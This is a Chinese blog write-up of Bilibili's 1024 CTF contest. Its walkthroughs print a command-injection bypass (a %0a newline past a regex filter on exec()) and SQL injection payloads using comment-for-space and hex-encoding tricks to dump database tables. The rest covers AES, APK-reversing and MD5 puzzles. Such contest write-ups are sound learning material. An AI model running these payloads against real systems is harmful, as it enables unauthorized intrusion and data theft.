0#简介
又是一年1024程序员节,在这里也祝各位师傅们节日快乐!
还记得上次的B站挑战赛吗?传送门:https://blog.aabyss.cn/post-98.html
B站也推出了“一起开启大冒险”的主题活动,同时,也推出了哔哩哔哩1024CTF的挑战页面,大家一起来挑战吧!
活动地址:https://www.bilibili.com/blackboard/20211024.html
1024CTF地址:https://security.bilibili.com/sec1024/
活动分为算法与安全答题和安全攻防挑战赛,今天我们就来说说安全攻防挑战赛
1#第一题 这里记录了前往二次元世界的秘密
将两行字符,拼成一行,然后进行AES解密即可。
工具网站地址:http://tool.chacuo.net/cryptaes
注意,要将题目里给的密码填入key中才能解密。
2#第二题 某高级前端开发攻城狮更改了一个前端配置项
直接F12用开发者工具
打开webpack下的src,找到view里面home.vue,Flag就藏在注释里面
3#第三题 PHP is the best language for web programming, but what about other languages?
题目给了一个压缩包,下载后解压,发现一个名为eval.php的文件
<?php /* bilibili- ( ゜- ゜)つロ 乾杯~ uat: http://192.168.3.2/uat/eval.php pro: http://security.bilibili.com/sec1024/q/pro/eval.php */ $args = @$_GET['args']; if (count($args) >3) { exit(); } for ( $i=0; $i<count($args); $i++ ){ if ( !preg_match('/^\w+$/', $args[$i]) ) { exit(); } } // todo: other filter $cmd = "/bin/2233 " . implode(" ", $args); exec($cmd, $out); for ($i=0; $i<count($out); $i++){ echo($out[$i]); echo('<br>'); } ?>可以看到里面写了正则"/^\w+$/",这个可以用结尾接换行符%0a匹配,接着就可以换行用linux命令了!
那我们就来试试,先用查看当前目录命令ls
好家伙,看到一个名为"passwd"的文件,那我们还不去看看?
4#第四题 懂的都懂
打开地址后一看,这不是和第二题那个系统一样的吗?
随便翻翻找找,也没啥头绪,脑阔痛。。。
过了好半伙儿,终于有点头绪了
点击“日志信息”这个按钮,并用F12开发者工具抓一下,可以发现提交了一个list,API接口也发现了
日志API地址: https://security.bilibili.com/sec1024/q/admin/api/v1/log/list
尝试了几下,好像有空格过滤,尝试绕过进行POST传参
{ "user_id": "", "user_name": "1/**/union/**/select/**/database(),user(),3,4,5", "action": "", "page": 1, "size": 20 }咦?可以啊!
那我们就试试看能不能获取表名
1/**/union/**/select/**/database(),user(),3,4,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()#执行成功后,就可以看到有三张表flag,log,user
接下来就去获取flag表的字段,由于不能使用引号(不然就闭合造成无效结果),所以我们就用十六进制绕过,flag的十六进制为666c6167
1/**/union/**/select/**/database(),user(),3,4,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name=0x666c6167#可以看到只剩下id字段,flag直接到手
1/**/union/**/select/**/database(),user(),3,4,group_concat(id)/**/from/**/flag#注:以上语句,都要按照POST传参的方式,替换"user_name"放入才有效,真可谓是“懂得都懂”啊
如此即可,传参后抓包即可拿到flag
5#第五题 安卓程序员小明学习了新的开发语言,兴奋地写了一个demo app
下载了一个test.apk,那应该就是让我们对其进行逆向分析
直接上手工具JADX:https://github.com/skylot/jadx/releases/tag/v1.2.0
了解的师傅应该都知道,Encrypt是加密过程,MainActivity里的两串字符,拿去按Encrypt里的反向操作一次即可。即:一次base64解码,一次异或3,两串可合成一串flag
// var b = new String(Encrypt.a(Encrypt.b(obj2), 3)); // var b2 = new String(Encrypt.a(Encrypt.b(obj), 3)); 516834cc-50e448af bcf9ed53-9ae4328e这里再附上一个第五题的脚本
import base64 obyteArray = [0x59, 0x57, 0x42, 0x6c, 0x4f, 0x6d, 0x5a, 0x6e, 0x4e, 0x6a, 0x41, 0x75, 0x4f, 0x6d, 0x4a, 0x6d, 0x4e, 0x7a, 0x41, 0x78, 0x4f, 0x32, 0x59, 0x3d] code = [0x4e, 0x6a, 0x49, 0x31, 0x4f, 0x7a, 0x41, 0x33, 0x59, 0x47, 0x41, 0x75, 0x4e, 0x6a, 0x4e, 0x6d, 0x4e, 0x7a, 0x63, 0x37, 0x59, 0x6d, 0x55, 0x3d] user = "" password = "" for i in range(24): user+=chr(obyteArray[i]) password+=chr(code[i]) print(base64.b64decode(user)) print(base64.b64decode(password)) a1 = str(base64.b64decode(user),encoding="utf-8") a2 = str(base64.b64decode(password),encoding="utf-8") ans="" ans1="" for i1 in range(17): p=ord(a1[i1])^3 ans+=chr(p) p1=ord(a2[i1])^3 ans1+=chr(p1) print(ans) print(ans1)
6#第六题 安卓程序员小明学习了新的开发语言,兴奋地写了一个demo app
解题线索貌似在lib-so里面,但是只能输出2333,正在努力解决
感兴趣的可以看看吾爱破解论坛:https://www.52pojie.cn/thread-1532604-1-1.html
有大神贴出了解题步骤:
a = 'bili_2233_3322' b = 'bili_3322_2233' amd5 = hashlib.md5(a.encode()).digest() bmd5 = hashlib.md5(b.encode()).digest() for i in range(len(amd5)): print(hex(amd5[i])[2:].zfill(2), end='') print(hex(bmd5[i])[2:].zfill(2), end='')
7#第七题 风控
要下载一个日志,主要考察日志分析
野生的答案(大部分ip 10分 ,满分是20)
jj.bdc.bbb.cc,dc.bb.ii.jj,cde.ced.bbb.dd,cdd.bcc.bg.bib,cd.bb.cai.cbh,cd.baf.cae.cbc,bfh.ff.dj.jf,bfh.ff.dj.ig,bfh.ff.dj.fb,bfh.ff.dj.bd,bfh.ff.dj.bcf,bbb.bb.bjd.bhf,bbb.bb.bjd.bhc,bbb.bb.bjd.bha,bbb.bb.bjd.bgc,bba.ja.ccb.cbc,bba.ja.cca.beg
发表评论